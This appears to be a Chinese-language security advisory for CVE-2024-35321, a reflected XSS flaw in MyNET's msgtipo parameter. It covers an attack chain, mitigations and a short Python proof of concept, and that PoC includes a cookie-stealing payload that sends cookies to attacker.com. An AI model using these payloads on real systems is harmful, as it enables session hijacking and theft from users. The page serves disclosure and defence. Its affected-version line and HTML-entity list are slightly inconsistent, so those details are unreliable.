CVE-2024-35321 MyNET反射型XSS漏洞

漏洞信息

漏洞编号

CVE-2024-35321

漏洞类型

XSS

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

MyNET

漏洞概述

CVE-2024-35321是MyNET软件中存在的一个反射型跨站脚本（Reflected XSS）漏洞，CVSS评分4.3，属于中等严重程度。该漏洞影响MyNET v26.08及之前所有版本。攻击者可通过构造恶意的msgtipo参数注入恶意脚本代码，当其他用户访问包含该恶意参数的页面时，注入的脚本代码将在用户浏览器中执行。反射型XSS漏洞虽然不像存储型XSS那样持久化，但仍然可能导致敏感信息窃取、会话劫持、恶意操作等安全风险。攻击者可以利用此漏洞窃取受害者的Cookie信息、劫持用户会话、进行钓鱼攻击或在受害者浏览器中执行任意JavaScript代码。由于该漏洞需要用户交互（点击恶意链接），攻击者通常会通过社会工程学手段诱骗用户访问恶意构造的链接。此漏洞存在于Web应用程序对用户输入处理不当的情况下，未对msgtipo参数进行充分的输入验证和输出编码。

技术细节

反射型XSS漏洞发生在Web应用程序将用户可控的输入未经适当处理直接包含在响应输出中时。对于MyNET的msgtipo参数，应用程序直接将该参数值回显到HTML页面中而未进行必要的HTML实体编码或输入验证。攻击者可以构造如下恶意URL：https://[target]/path?msgtipo=<script>alert(document.cookie)</script>。当受害者点击此链接时，服务器将msgtipo参数值原样包含在响应HTML中，浏览器将其解析为JavaScript代码并执行。成功利用此漏洞需要满足以下条件：1）攻击者诱骗用户点击特制链接；2）目标用户使用存在漏洞的浏览器访问链接；3）应用程序未部署有效的XSS防护机制（如Content-Security-Policy）。防御反射型XSS需要对所有用户输入进行严格的输入验证，并在输出时对特殊字符进行HTML实体编码，将<、>、"、'、&等字符转换为对应的HTML实体(<、>、"、'、&)。

攻击链分析

STEP 1

步骤1

攻击者收集目标信息，确定MyNET Web应用程序的URL结构和msgtipo参数位置

STEP 2

步骤2

攻击者构造包含恶意JavaScript代码的msgtipo参数值，如<script>alert(document.cookie)</script>

STEP 3

步骤3

攻击者通过钓鱼邮件、社交媒体或其他渠道将恶意链接发送给目标用户

STEP 4

步骤4

目标用户点击恶意链接，浏览器向服务器发送包含恶意参数的请求

STEP 5

步骤5

服务器将msgtipo参数值未经过滤直接嵌入到响应HTML中

STEP 6

步骤6

浏览器解析响应HTML时将恶意脚本标签识别为JavaScript并执行

STEP 7

步骤7

恶意脚本执行后可窃取用户Cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2024-35321 Reflected XSS PoC
# Target: MyNET <= v26.08
# Attack Vector: msgtipo parameter

import urllib.parse

# Malicious payload for reflected XSS
payload = "<script>alert('XSS')</script>"
encoded_payload = urllib.parse.quote(payload)

# Construct malicious URL
target_url = "http://[TARGET_HOST]/[MYNET_PATH]/"
malicious_url = f"{target_url}?msgtipo={encoded_payload}"

print("[*] CVE-2024-35321 Reflected XSS PoC")
print(f"[*] Target: {target_url}")
print(f"[*] Malicious URL: {malicious_url}")

# Alternative payload for cookie stealing
cookie_stealer_payload = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>'
print(f"[*] Cookie Stealer URL: {target_url}?msgtipo={urllib.parse.quote(cookie_stealer_payload)}")

影响范围

MyNET < v26.08

MyNET up to v26.08

防御指南

临时缓解措施

在等待官方修复期间，可采取以下临时缓解措施：1）使用WAF规则对包含<script>、<img>、<svg>等HTML标签的请求进行拦截；2）在反向代理层配置输入过滤规则，对msgtipo参数进行HTML编码处理；3）启用浏览器的XSS过滤器功能；4）限制用户访问来源，避免暴露在恶意链接攻击下；5）监控Web日志中的异常请求模式，及时发现潜在攻击行为。